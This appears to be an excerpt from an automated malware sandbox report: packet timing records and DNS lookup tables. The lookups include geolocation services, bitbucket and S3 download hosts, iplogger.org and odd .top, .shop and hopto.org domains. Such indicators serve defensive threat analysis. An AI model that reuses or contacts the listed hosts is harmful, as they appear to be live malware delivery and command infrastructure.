Sep 21, 2024 13:33:42.732851028 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732861996 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732882977 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732913017 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732947111 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732947111 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732958078 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.732979059 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.732990980 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733031034 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733031034 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.733063936 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.733078957 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733094931 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.733104944 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733128071 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.733139992 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733158112 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.733171940 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733189106 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.733206987 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733241081 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733242035 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.733294010 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.733311892 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733345032 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.733345985 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733378887 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.733393908 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733414888 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.733421087 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733445883 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.733458042 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733479023 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.733491898 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733511925 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.733522892 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733556032 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733546019 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.733622074 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733639956 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.733686924 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733751059 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.733798981 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.733815908 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733858109 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733858109 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.733887911 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.733903885 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733921051 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.733930111 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733971119 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.733972073 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.734004021 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.734015942 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.734039068 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.734049082 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.734071016 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.734085083 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.734103918 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.734112024 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.734138012 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.734143019 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.734181881 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.734602928 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.734658957 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.734673977 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.734723091 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.734750986 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.734783888 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.734807968 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.734816074 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.734821081 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.734848976 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.734860897 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.734891891 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.735583067 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.735635042 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.735646009 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.735832930 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.735866070 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.735898972 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.735914946 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.735915899 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.735949039 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.735982895 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.735996008 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.736017942 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.736023903 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.736051083 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.736063004 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.736083984 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.736090899 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.736115932 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.736126900 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.736149073 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.736155033 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.736181974 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.736190081 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.736221075 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.736234903 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.736268997 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.736279964 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.736303091 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.736310959 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.736339092 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.736342907 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.736385107 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.736464024 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.736496925 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.736516953 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.736527920 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.736541033 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.736563921 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.736566067 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.736603022 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.737335920 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.737370014 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.737405062 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.737411022 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.737411022 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.737571955 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.737618923 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.737618923 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.737623930 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.737658024 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.737690926 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.737694025 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.737694025 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.737725973 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.737772942 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.737772942 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.737778902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.737812996 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.737864017 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.737896919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.737911940 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.737911940 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.737947941 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.737989902 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.737989902 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.738034964 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.738069057 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.738101006 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.738114119 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.738114119 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.738135099 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.738168001 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.738173962 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.738173962 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.738203049 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.738235950 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.738260984 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.738260984 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.738270998 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.738305092 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.738306999 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.738306999 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.738337994 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.738369942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.738375902 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.738375902 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.738403082 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.738452911 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.738452911 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.738461018 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.738511086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.738543987 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.738576889 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.738584995 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.738584995 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.738610029 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.738641977 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.738675117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.738679886 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.738679886 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.738708973 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.738746881 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.738746881 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.740498066 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.740531921 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.740565062 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.740571022 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.740571022 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.740597963 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.740688086 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.740878105 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.740911961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.740962029 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.740993023 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.741027117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.741034031 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.741034031 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.741470098 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.741612911 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.741663933 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.741697073 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.741702080 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.741702080 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.741729975 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.741761923 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.741769075 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.741769075 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.741792917 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.741827011 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.741837025 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.741837025 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.741964102 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.741997957 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.742010117 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.742010117 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.742032051 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.742063046 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.742083073 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.742095947 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.742127895 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.742141008 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.742141008 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.742160082 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.742192030 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.742198944 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.742198944 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.742228031 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.742502928 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.742611885 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.742645979 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.742680073 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.742702007 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.742702007 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.742712975 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.742750883 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.742750883 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.743004084 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.743036985 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.743069887 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.743082047 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.743082047 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.743102074 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.743134022 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.743166924 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.743175030 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.743175030 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.743200064 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.743233919 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.743237019 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.743237019 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.743266106 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.743282080 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.743298054 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.743330956 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.743336916 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.743336916 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.743379116 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.743407011 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.743443966 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.743477106 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.743513107 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.743547916 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.743547916 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.743829012 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.743861914 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.743906975 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.743906975 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.743912935 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.743944883 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.743977070 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:42.743983984 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.743983984 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:42.744009018 CEST	80	49712	176.113.115.33	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 21, 2024 13:33:33.791254044 CEST	192.168.2.9	1.1.1.1	0xe827	Standard query (0)	api64.ipify.org	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:33:34.737132072 CEST	192.168.2.9	1.1.1.1	0x41bc	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:33:40.180510998 CEST	192.168.2.9	1.1.1.1	0x63a9	Standard query (0)	nerv.com.pe	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:33:40.185277939 CEST	192.168.2.9	1.1.1.1	0x70d	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:33:42.666882992 CEST	192.168.2.9	1.1.1.1	0x22db	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:34:03.884085894 CEST	192.168.2.9	1.1.1.1	0x19f6	Standard query (0)	iplogger.org	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:34:12.479007959 CEST	192.168.2.9	1.1.1.1	0xb4d5	Standard query (0)	tventyvf20pt.top	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:34:40.923058033 CEST	192.168.2.9	1.1.1.1	0x881	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:35:39.856358051 CEST	192.168.2.9	1.1.1.1	0xa1c2	Standard query (0)	questionmwq.shop	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:35:40.076817989 CEST	192.168.2.9	1.1.1.1	0xc45f	Standard query (0)	cowod.hopto.org	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:35:43.851875067 CEST	192.168.2.9	1.1.1.1	0x3324	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 21, 2024 13:33:33.798542976 CEST	1.1.1.1	192.168.2.9	0xe827	No error (0)	api64.ipify.org		104.237.62.213	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:33:33.798542976 CEST	1.1.1.1	192.168.2.9	0xe827	No error (0)	api64.ipify.org		173.231.16.77	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:33:34.744631052 CEST	1.1.1.1	192.168.2.9	0x41bc	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:33:40.188030958 CEST	1.1.1.1	192.168.2.9	0x63a9	No error (0)	nerv.com.pe		162.241.61.218	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:33:40.192893982 CEST	1.1.1.1	192.168.2.9	0x70d	No error (0)	bitbucket.org		185.166.143.50	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:33:40.192893982 CEST	1.1.1.1	192.168.2.9	0x70d	No error (0)	bitbucket.org		185.166.143.48	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:33:40.192893982 CEST	1.1.1.1	192.168.2.9	0x70d	No error (0)	bitbucket.org		185.166.143.49	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:33:42.697937012 CEST	1.1.1.1	192.168.2.9	0x22db	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 21, 2024 13:33:42.697937012 CEST	1.1.1.1	192.168.2.9	0x22db	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 21, 2024 13:33:42.697937012 CEST	1.1.1.1	192.168.2.9	0x22db	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.131.81	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:33:42.697937012 CEST	1.1.1.1	192.168.2.9	0x22db	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.37.209	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:33:42.697937012 CEST	1.1.1.1	192.168.2.9	0x22db	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.192.89	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:33:42.697937012 CEST	1.1.1.1	192.168.2.9	0x22db	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.44.113	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:33:42.697937012 CEST	1.1.1.1	192.168.2.9	0x22db	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.28.49	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:33:42.697937012 CEST	1.1.1.1	192.168.2.9	0x22db	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.30.106	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:33:42.697937012 CEST	1.1.1.1	192.168.2.9	0x22db	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.214.17	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:33:42.697937012 CEST	1.1.1.1	192.168.2.9	0x22db	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.105.171	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:34:03.893021107 CEST	1.1.1.1	192.168.2.9	0x19f6	No error (0)	iplogger.org		104.26.2.46	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:34:03.893021107 CEST	1.1.1.1	192.168.2.9	0x19f6	No error (0)	iplogger.org		104.26.3.46	A (IP address)	IN (0x0001)	false
Sep 21, 2024 13:34:03.893021107 CEST	1.1.1.1	192.168.2.9	0x19f6	No error (0)	iplogger.org		172.67.74.161	A (IP address)	IN (0x0001)	false
